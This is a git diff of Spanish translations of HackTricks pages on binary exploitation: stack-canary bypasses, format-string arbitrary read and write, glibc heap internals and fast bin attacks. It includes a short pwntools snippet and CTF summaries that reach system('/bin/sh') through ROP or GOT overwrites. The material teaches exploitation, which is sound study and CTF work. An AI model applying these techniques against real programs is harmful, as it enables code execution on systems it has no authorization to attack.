+Además, un desbordamiento de búfer en una función con hilos protegida con canary podría ser utilizado para **modificar el canary maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y, por lo tanto, el canary) a través de un **bof en la pila** de un hilo.\
+Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son iguales (aunque modificados).\
+Este ataque se realiza en el writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-Ver también la presentación de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que generalmente el **TLS** se almacena mediante **`mmap`** y cuando se crea una **pila** de **hilo** también se genera mediante `mmap`, lo que podría permitir el desbordamiento como se mostró en el informe anterior.
+Ver también la presentación de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que generalmente el **TLS** se almacena mediante **`mmap`** y cuando se crea una **pila** de **hilo** también se genera mediante `mmap`, lo que podría permitir el desbordamiento como se mostró en el writeup anterior.
- **Modificar la entrada GOT de `__stack_chk_fail`**
Si el binario tiene Partial RELRO, entonces puedes usar una escritura arbitraria para modificar la **entrada GOT de `__stack_chk_fail`** para que sea una función ficticia que no bloquee el programa si el canary se modifica.
-Este ataque se realiza en el informe: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
+Este ataque se realiza en el writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## Referencias
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index 83a4667b4..74024d251 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -1,8 +1,8 @@
-# Imprimir Stack Canary
+# Print Stack Canary
{{#include ../../../banners/hacktricks-training.md}}
-## Ampliar stack impreso
+## Ampliar el stack impreso
Imagina una situación donde un **programa vulnerable** a desbordamiento de stack puede ejecutar una función **puts** **apuntando** a **parte** del **desbordamiento de stack**. El atacante sabe que el **primer byte del canario es un byte nulo** (`\x00`) y el resto del canario son **bytes aleatorios**. Entonces, el atacante puede crear un desbordamiento que **sobrescriba el stack hasta justo el primer byte del canario**.
@@ -17,11 +17,11 @@ Obviamente, esta táctica es muy **restringida** ya que el atacante necesita pod
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')`
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
-- 32 bits, ARM, sin relro, canario, nx, sin pie. Desbordamiento con una llamada a puts sobre él para filtrar el canario + ret2lib llamando a `system` con una cadena ROP para hacer pop a r0 (arg `/bin/sh`) y pc (dirección de system)
+- 32 bits, ARM, sin relro, canario, nx, sin pie. Desbordamiento con una llamada a puts sobre él para filtrar el canario + ret2lib llamando a `system` con una cadena ROP para hacer pop de r0 (arg `/bin/sh`) y pc (dirección de system)
## Lectura Arbitraria
-Con una **lectura arbitraria** como la proporcionada por **cadenas de formato** podría ser posible filtrar el canario. Revisa este ejemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) y puedes leer sobre el abuso de cadenas de formato para leer direcciones de memoria arbitrarias en:
+Con una **lectura arbitraria** como la proporcionada por **cadenas** de formato, podría ser posible filtrar el canario. Revisa este ejemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) y puedes leer sobre abusar de cadenas de formato para leer direcciones de memoria arbitrarias en:
{{#ref}}
../../format-strings/
diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md
index 72428a4ca..cd21a0470 100644
--- a/src/binary-exploitation/format-strings/README.md
+++ b/src/binary-exploitation/format-strings/README.md
@@ -73,7 +73,7 @@ Nota que el atacante controla el parámetro de `printf`, **lo que básicamente s
## **Lectura Arbitraria**
-Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la cuarta posición de la pila, es posible imprimir el inicio del binario con:
+Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la 4ª posición en la pila, es posible imprimir el inicio del binario con:
```python
from pwn import *
@@ -91,7 +91,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
### Encontrar el desplazamiento
-Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar los `A's`.
+Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar las `A's`.
@@ -146,7 +146,8 @@ Sin embargo, ten en cuenta que generalmente para escribir una dirección como `0
Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria).**
-En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria a exec:
+En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria para ejecutar:
+
{{#ref}}
../arbitrary-write-2-exec/
@@ -213,5 +214,4 @@ Es posible abusar de las acciones de escritura de una vulnerabilidad de cadena d
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados.
-
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md
index e6e887e22..0ae107c23 100644
--- a/src/binary-exploitation/libc-heap/README.md
+++ b/src/binary-exploitation/libc-heap/README.md
@@ -1,5 +1,7 @@
# Libc Heap
+{{#include ../../banners/hacktricks-training.md}}
+
## Heap Basics
El heap es básicamente el lugar donde un programa podrá almacenar datos cuando solicita datos llamando a funciones como **`malloc`**, `calloc`... Además, cuando esta memoria ya no es necesaria, se pone a disposición llamando a la función **`free`**.
@@ -10,9 +12,9 @@ Como se muestra, está justo después de donde se carga el binario en memoria (v
### Basic Chunk Allocation
-Cuando se solicita almacenar algunos datos en el heap, se asigna un espacio del heap para ello. Este espacio pertenecerá a un bin y solo se reservarán los datos solicitados + el espacio de los encabezados del bin + el desplazamiento del tamaño mínimo del bin para el chunk. El objetivo es reservar la menor cantidad de memoria posible sin complicar la búsqueda de dónde se encuentra cada chunk. Para esto, se utiliza la información del chunk de metadatos para saber dónde se encuentra cada chunk usado/libre.
+Cuando se solicita almacenar algunos datos en el heap, se asigna un espacio del heap para ello. Este espacio pertenecerá a un bin y solo se reservarán los datos solicitados + el espacio de los encabezados del bin + el desplazamiento del tamaño mínimo del bin para el chunk. El objetivo es reservar la menor cantidad de memoria posible sin complicar la búsqueda de dónde está cada chunk. Para esto, se utiliza la información de metadatos del chunk para saber dónde está cada chunk usado/libre.
-Existen diferentes formas de reservar el espacio, principalmente dependiendo del bin utilizado, pero una metodología general es la siguiente:
+Hay diferentes formas de reservar el espacio, principalmente dependiendo del bin utilizado, pero una metodología general es la siguiente:
- El programa comienza solicitando cierta cantidad de memoria.
- Si en la lista de chunks hay uno disponible lo suficientemente grande para cumplir con la solicitud, se utilizará.
@@ -21,7 +23,7 @@ Existen diferentes formas de reservar el espacio, principalmente dependiendo del
- Si no hay suficiente espacio en el heap para asignar el nuevo chunk, el administrador del heap solicita al kernel que expanda la memoria asignada al heap y luego utiliza esta memoria para generar el nuevo chunk.
- Si todo falla, `malloc` devuelve null.
-Ten en cuenta que si la **memoria solicitada supera un umbral**, se utilizará **`mmap`** para mapear la memoria solicitada.
+Tenga en cuenta que si la **memoria solicitada supera un umbral**, se utilizará **`mmap`** para mapear la memoria solicitada.
## Arenas
@@ -41,11 +43,11 @@ Los subheaps sirven como reservas de memoria para arenas secundarias en aplicaci
- El heap inicial se encuentra directamente después del binario del programa en memoria, y se expande utilizando la llamada al sistema `sbrk`.
- Los subheaps, utilizados por arenas secundarias, se crean a través de `mmap`, una llamada al sistema que mapea una región de memoria especificada.
2. **Reserva de Memoria con `mmap`**:
-- Cuando el administrador del heap crea un subheap, reserva un gran bloque de memoria a través de `mmap`. Esta reserva no asigna memoria de inmediato; simplemente designa una región que otros procesos del sistema o asignaciones no deberían usar.
+- Cuando el administrador del heap crea un subheap, reserva un gran bloque de memoria a través de `mmap`. Esta reserva no asigna memoria de inmediato; simplemente designa una región que otros procesos del sistema o asignaciones no deben usar.
- Por defecto, el tamaño reservado para un subheap es de 1 MB para procesos de 32 bits y 64 MB para procesos de 64 bits.
3. **Expansión Gradual con `mprotect`**:
- La región de memoria reservada se marca inicialmente como `PROT_NONE`, indicando que el kernel no necesita asignar memoria física a este espacio aún.
-- Para "hacer crecer" el subheap, el administrador del heap utiliza `mprotect` para cambiar los permisos de página de `PROT_NONE` a `PROT_READ | PROT_WRITE`, lo que lleva al kernel a asignar memoria física a las direcciones previamente reservadas. Este enfoque paso a paso permite que el subheap se expanda según sea necesario.
+- Para "hacer crecer" el subheap, el administrador del heap utiliza `mprotect` para cambiar los permisos de página de `PROT_NONE` a `PROT_READ | PROT_WRITE`, lo que provoca que el kernel asigne memoria física a las direcciones previamente reservadas. Este enfoque paso a paso permite que el subheap se expanda según sea necesario.
- Una vez que se agota todo el subheap, el administrador del heap crea un nuevo subheap para continuar la asignación.
### heap_info
@@ -72,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
**Cada heap** (arena principal u otras arenas de hilos) tiene una **estructura `malloc_state`.**\
Es importante notar que la **estructura `malloc_state` de la arena principal** es una **variable global en la libc** (por lo tanto, ubicada en el espacio de memoria de la libc).\
-En el caso de las **estructuras `malloc_state`** de los heaps de hilos, están ubicadas **dentro del "heap" propio del hilo**.
+En el caso de las estructuras **`malloc_state`** de los heaps de hilos, están ubicadas **dentro del "heap" propio del hilo**.
Hay algunas cosas interesantes a notar de esta estructura (ver el código C a continuación):
@@ -92,7 +94,7 @@ Hay algunas cosas interesantes a notar de esta estructura (ver el código C a co
- Por lo tanto, el **primer chunk** de estos bins tendrá un **puntero hacia atrás a esta estructura** y el **último chunk** de estos bins tendrá un **puntero hacia adelante** a esta estructura. Lo que básicamente significa que si puedes **filtrar estas direcciones en la arena principal** tendrás un puntero a la estructura en la **libc**.
- Las estructuras `struct malloc_state *next;` y `struct malloc_state *next_free;` son listas enlazadas de arenas.
- El chunk `top` es el último "chunk", que es básicamente **todo el espacio restante del heap**. Una vez que el chunk superior está "vacío", el heap está completamente utilizado y necesita solicitar más espacio.
-- El chunk de `último recordatorio` proviene de casos donde un chunk de tamaño exacto no está disponible y, por lo tanto, un chunk más grande se divide, un puntero a la parte restante se coloca aquí.
+- El chunk de `último recordatorio` proviene de casos donde un chunk de tamaño exacto no está disponible y, por lo tanto, un chunk más grande se divide, una parte del puntero restante se coloca aquí.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@@ -164,7 +166,7 @@ Como se comentó anteriormente, estos bloques también tienen algunos metadatos,
Los metadatos suelen ser 0x08B, indicando el tamaño actual del bloque utilizando los últimos 3 bits para indicar:
- `A`: Si es 1 proviene de un subheap, si es 0 está en la arena principal
-- `M`: Si es 1, este bloque es parte de un espacio asignado con mmap y no forma parte de un heap
+- `M`: Si es 1, este bloque es parte de un espacio asignado con mmap y no parte de un heap
- `P`: Si es 1, el bloque anterior está en uso
Luego, el espacio para los datos del usuario, y finalmente 0x08B para indicar el tamaño del bloque anterior cuando el bloque está disponible (o para almacenar datos del usuario cuando está asignado).
@@ -178,7 +180,7 @@ Además, cuando está disponible, los datos del usuario también se utilizan par
-> [!NOTE]
+> [!TIP]
> Nota cómo enlazar la lista de esta manera evita la necesidad de tener un array donde se registre cada bloque individualmente.
### Punteros de Bloque
@@ -352,7 +354,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
-- Establecer encabezado y pie de página (cuando se utilizan números de fragmento)
+- Establecer encabezado y pie de página (cuando se utilizan números de fragmentos)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@@ -491,7 +493,7 @@ bins-and-memory-allocations.md
## Heap Functions Security Checks
-Las funciones involucradas en el heap realizarán ciertas verificaciones antes de llevar a cabo sus acciones para intentar asegurarse de que el heap no esté corrupto:
+Las funciones involucradas en el heap realizarán ciertas verificaciones antes de llevar a cabo sus acciones para intentar asegurarse de que el heap no esté corrompido:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
@@ -501,3 +503,5 @@ heap-memory-functions/heap-functions-security-checks.md
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
index 0a265e968..f66aedf1c 100644
--- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
+++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
@@ -16,7 +16,7 @@ Por lo tanto, un tcache es similar a un bin rápido por hilo en el sentido de qu
**Cuando un hilo libera** un chunk, **si no es demasiado grande** para ser asignado en el tcache y el bin tcache respectivo **no está lleno** (ya tiene 7 chunks), **se asignará allí**. Si no puede ir al tcache, tendrá que esperar a que se desbloquee el heap para poder realizar la operación de liberación globalmente.
-Cuando un **chunk es asignado**, si hay un chunk libre del tamaño necesario en el **Tcache, lo usará**, si no, tendrá que esperar a que se desbloquee el heap para poder encontrar uno en los bins globales o crear uno nuevo.\
+Cuando un **chunk es asignado**, si hay un chunk libre del tamaño necesario en el **Tcache lo usará**, si no, tendrá que esperar a que se desbloquee el heap para poder encontrar uno en los bins globales o crear uno nuevo.\
También hay una optimización, en este caso, mientras tiene el lock del heap, el hilo **llenará su Tcache con chunks del heap (7) del tamaño solicitado**, así que en caso de que necesite más, los encontrará en Tcache.
@@ -151,18 +151,18 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
El tcache tiene varios bins dependiendo del tamaño y los punteros iniciales al **primer chunk de cada índice y la cantidad de chunks por índice se encuentran dentro de un chunk**. Esto significa que al localizar el chunk con esta información (generalmente el primero), es posible encontrar todos los puntos iniciales de tcache y la cantidad de chunks de Tcache.
-### Bins rápidos
+### Bins Rápidos
Los bins rápidos están diseñados para **acelerar la asignación de memoria para chunks pequeños** al mantener chunks recientemente liberados en una estructura de acceso rápido. Estos bins utilizan un enfoque de Último en Entrar, Primero en Salir (LIFO), lo que significa que el **chunk liberado más recientemente es el primero** en ser reutilizado cuando hay una nueva solicitud de asignación. Este comportamiento es ventajoso para la velocidad, ya que es más rápido insertar y eliminar desde la parte superior de una pila (LIFO) en comparación con una cola (FIFO).
Además, **los bins rápidos utilizan listas enlazadas simples**, no dobles, lo que mejora aún más la velocidad. Dado que los chunks en bins rápidos no se fusionan con los vecinos, no hay necesidad de una estructura compleja que permita la eliminación desde el medio. Una lista enlazada simple es más simple y rápida para estas operaciones.
-Básicamente, lo que sucede aquí es que el encabezado (el puntero al primer chunk a verificar) siempre apunta al chunk liberado más reciente de ese tamaño. Así que:
+Básicamente, lo que sucede aquí es que el encabezado (el puntero al primer chunk a verificar) siempre apunta al último chunk liberado de ese tamaño. Así que:
- Cuando se asigna un nuevo chunk de ese tamaño, el encabezado apunta a un chunk libre para usar. Como este chunk libre apunta al siguiente para usar, esta dirección se almacena en el encabezado para que la siguiente asignación sepa dónde obtener un chunk disponible.
- Cuando se libera un chunk, el chunk libre guardará la dirección del chunk actualmente disponible y la dirección de este chunk recién liberado se pondrá en el encabezado.
-El tamaño máximo de una lista enlazada es `0x80` y están organizadas de tal manera que un chunk de tamaño `0x20` estará en el índice `0`, un chunk de tamaño `0x30` estaría en el índice `1`...
+El tamaño máximo de una lista enlazada es `0x80` y están organizados de tal manera que un chunk de tamaño `0x20` estará en el índice `0`, un chunk de tamaño `0x30` estaría en el índice `1`...
> [!CAUTION]
> Los chunks en bins rápidos no se establecen como disponibles, por lo que se mantienen como chunks de bin rápido durante algún tiempo en lugar de poder fusionarse con otros chunks libres que los rodean.
@@ -244,20 +244,20 @@ Fastbins[idx=1, size=0x30] 0x00
### Unsorted bin
-El unsorted bin es una **cache** utilizada por el gestor de heap para hacer que la asignación de memoria sea más rápida. Así es como funciona: Cuando un programa libera un chunk, y si este chunk no puede ser asignado en un tcache o fast bin y no está colisionando con el top chunk, el gestor de heap no lo coloca inmediatamente en un bin pequeño o grande específico. En su lugar, primero intenta **fusionarlo con cualquier chunk libre vecino** para crear un bloque más grande de memoria libre. Luego, coloca este nuevo chunk en un bin general llamado "unsorted bin."
+El unsorted bin es un **cache** utilizado por el administrador de memoria para hacer que la asignación de memoria sea más rápida. Así es como funciona: Cuando un programa libera un bloque, y si este bloque no puede ser asignado en un tcache o fast bin y no está colisionando con el top chunk, el administrador de memoria no lo coloca inmediatamente en un bin pequeño o grande específico. En su lugar, primero intenta **fusionarlo con cualquier bloque libre vecino** para crear un bloque más grande de memoria libre. Luego, coloca este nuevo bloque en un bin general llamado "unsorted bin."
-Cuando un programa **pide memoria**, el gestor de heap **verifica el unsorted bin** para ver si hay un chunk de tamaño suficiente. Si encuentra uno, lo utiliza de inmediato. Si no encuentra un chunk adecuado en el unsorted bin, mueve todos los chunks en esta lista a sus bins correspondientes, ya sea pequeños o grandes, según su tamaño.
+Cuando un programa **pide memoria**, el administrador de memoria **verifica el unsorted bin** para ver si hay un bloque de tamaño suficiente. Si encuentra uno, lo utiliza de inmediato. Si no encuentra un bloque adecuado en el unsorted bin, mueve todos los bloques en esta lista a sus respectivos bins, ya sea pequeños o grandes, según su tamaño.
-Ten en cuenta que si un chunk más grande se divide en 2 mitades y el resto es mayor que MINSIZE, se volverá a colocar en el unsorted bin.
+Ten en cuenta que si un bloque más grande se divide en 2 mitades y el resto es mayor que MINSIZE, se volverá a colocar en el unsorted bin.
Así que, el unsorted bin es una forma de acelerar la asignación de memoria al reutilizar rápidamente la memoria recientemente liberada y reducir la necesidad de búsquedas y fusiones que consumen tiempo.
> [!CAUTION]
-> Ten en cuenta que incluso si los chunks son de diferentes categorías, si un chunk disponible está colisionando con otro chunk disponible (incluso si originalmente pertenecen a diferentes bins), serán fusionados.
+> Ten en cuenta que incluso si los bloques son de diferentes categorías, si un bloque disponible está colisionando con otro bloque disponible (incluso si originalmente pertenecen a diferentes bins), se fusionarán.
-Agregar un ejemplo de chunk no ordenado
+Add a unsorted chunk example
```c
#include
#include
@@ -285,9 +285,9 @@ free(chunks[i]);
return 0;
}
```
-Nota cómo asignamos y liberamos 9 trozos del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el trozo superior**.
+Nota cómo asignamos y liberamos 9 bloques del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el bloque superior**.
-Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un trozo está en el contenedor no ordenado:
+Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un bloque está en el contenedor no ordenado:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -368,7 +368,7 @@ chunks[9] = malloc(0x110);
return 0;
}
```
-Nota cómo asignamos y liberamos 9 trozos del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el trozo superior**. Luego, asignamos un trozo más grande de 0x110, lo que hace que **el trozo en el contenedor no ordenado pase al contenedor pequeño**.
+Note cómo asignamos y liberamos 9 trozos del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el trozo superior**. Luego, asignamos un trozo más grande de 0x110, lo que hace que **el trozo en el contenedor no ordenado pase al contenedor pequeño**.
Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un trozo está en el contenedor pequeño:
```bash
@@ -402,11 +402,11 @@ Los bins grandes son más lentos de operar en comparación con los bins pequeño
Hay:
-- 32 bins de rango 64B (colisionan con bins pequeños)
-- 16 bins de rango 512B (colisionan con bins pequeños)
-- 8 bins de rango 4096B (parte colisionan con bins pequeños)
-- 4 bins de rango 32768B
-- 2 bins de rango 262144B
+- 32 bins de rango de 64B (colisionan con bins pequeños)
+- 16 bins de rango de 512B (colisionan con bins pequeños)
+- 8 bins de rango de 4096B (parte colisiona con bins pequeños)
+- 4 bins de rango de 32768B
+- 2 bins de rango de 262144B
- 1 bin para tamaños restantes
@@ -451,7 +451,7 @@ Hay:
-Agregar un ejemplo de un gran fragmento
+Agregar un ejemplo de un gran bloque
```c
#include
#include
@@ -468,7 +468,7 @@ chunks[0] = malloc(0x2000);
return 0;
}
```
-Se realizan 2 asignaciones grandes, luego se libera una (colocándola en el contenedor no ordenado) y se realiza una asignación más grande (moviendo la liberada del contenedor no ordenado al contenedor grande).
+Se realizan 2 asignaciones grandes, luego se libera una (colocándola en el contenedor no ordenado) y se realiza una asignación más grande (moviendo la libre del contenedor no ordenado al contenedor grande).
Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un chunk está en el contenedor grande:
```bash
@@ -519,10 +519,10 @@ the 2 preceding words to be zero during this interval as well.)
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
-Básicamente, este es un trozo que contiene toda la memoria heap disponible actualmente. Cuando se realiza un malloc, si no hay ningún trozo libre disponible para usar, este trozo superior reducirá su tamaño para dar el espacio necesario.\
+Básicamente, este es un chunk que contiene toda la memoria heap disponible actualmente. Cuando se realiza un malloc, si no hay ningún chunk libre disponible para usar, este top chunk reducirá su tamaño para dar el espacio necesario.\
El puntero al Top Chunk se almacena en la estructura `malloc_state`.
-Además, al principio, es posible usar el trozo no ordenado como el trozo superior.
+Además, al principio, es posible usar el chunk no ordenado como el top chunk.
@@ -570,6 +570,7 @@ Cuando se utiliza malloc y un chunk se divide (por ejemplo, desde el bin no orde
Consulta:
+
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
@@ -578,6 +579,7 @@ heap-memory-functions/malloc-and-sysmalloc.md
Consulta:
+
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
@@ -586,6 +588,7 @@ heap-memory-functions/free.md
Revisa las comprobaciones de seguridad realizadas por funciones de uso intensivo en heap en:
+
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md
index 2c6271efc..bfc72ff4e 100644
--- a/src/binary-exploitation/libc-heap/fast-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md
@@ -130,20 +130,14 @@ Finalmente, se escribió un **one gadget** allí.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- Hay un desbordamiento de heap y uso después de liberar y doble liberación porque cuando un chunk se libera es posible reutilizar y volver a liberar los punteros.
- **Libc info leak**: Simplemente libera algunos chunks y obtendrán un puntero a una parte de la ubicación de la arena principal. Como puedes reutilizar punteros liberados, solo lee esta dirección.
-- **Fast bin attack**: Todos los punteros a las asignaciones se almacenan dentro de un array, por lo que podemos liberar un par de chunks de fast bin y en el último sobrescribir la dirección para que apunte un poco antes de este array de punteros. Luego, asigna un par de chunks con el mismo tamaño y primero obtendremos el legítimo y luego el falso que contiene el array de punteros. Ahora podemos sobrescribir estos punteros de asignación para hacer que la dirección GOT de `free` apunte a `system` y luego escribir `"/bin/sh"` en el chunk 1 para luego llamar a `free(chunk1)` que en su lugar ejecutará `system("/bin/sh")`.
+- **Fast bin attack**: Todos los punteros a las asignaciones se almacenan dentro de un array, por lo que podemos liberar un par de chunks de fast bin y en el último sobrescribir la dirección para que apunte un poco antes de este array de punteros. Luego, asigna un par de chunks del mismo tamaño y obtendremos primero el legítimo y luego el falso que contiene el array de punteros. Ahora podemos sobrescribir estos punteros de asignación para hacer que la dirección GOT de `free` apunte a `system` y luego escribir `"/bin/sh"` en el chunk 1 para luego llamar a `free(chunk1)` que en su lugar ejecutará `system("/bin/sh")`.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Otro ejemplo de abusar de un desbordamiento de un byte para consolidar chunks en el unsorted bin y obtener un libc infoleak y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
-- Después de un infoleak abusando del unsorted bin con un UAF para filtrar una dirección de libc y una dirección de PIE, el exploit de este CTF utilizó un ataque de fast bin para asignar un chunk en un lugar donde se encontraban los punteros a chunks controlados, por lo que fue posible sobrescribir ciertos punteros para escribir un one gadget en la GOT.
+- Después de un infoleak abusando del unsorted bin con un UAF para filtrar una dirección de libc y una dirección de PIE, el exploit de este CTF utilizó un ataque de fast bin para asignar un chunk en un lugar donde se encontraban los punteros a los chunks controlados, por lo que fue posible sobrescribir ciertos punteros para escribir un one gadget en la GOT.
- Puedes encontrar un ataque de Fast Bin abusado a través de un ataque de unsorted bin:
- Ten en cuenta que es común antes de realizar ataques de fast bin abusar de las listas de liberación para filtrar direcciones de libc/heap (cuando sea necesario).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Solo podemos asignar chunks de tamaño mayor que `0x100`.
- Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits).
- Ataque de Fast Bin para modificar un array global de chunks. Esto proporciona una primitiva de lectura/escritura arbitraria, que permite modificar la GOT y hacer que algunas funciones apunten a `system`.
-
-{{#ref}}
-unsorted-bin-attack.md
-{{#endref}}
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index f432ba741..3b928ff62 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -6,6 +6,7 @@
Para más información, consulta:
+
{{#ref}}
unlink.md
{{#endref}}
@@ -23,6 +24,7 @@ Este es un resumen de las comprobaciones realizadas:
Para más información, consulta:
+
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
@@ -68,7 +70,7 @@ malloc-and-sysmalloc.md
- **Comprobaciones durante la búsqueda en large bin (siguiente más grande):**
- `bck->fd-> bk != bck`:
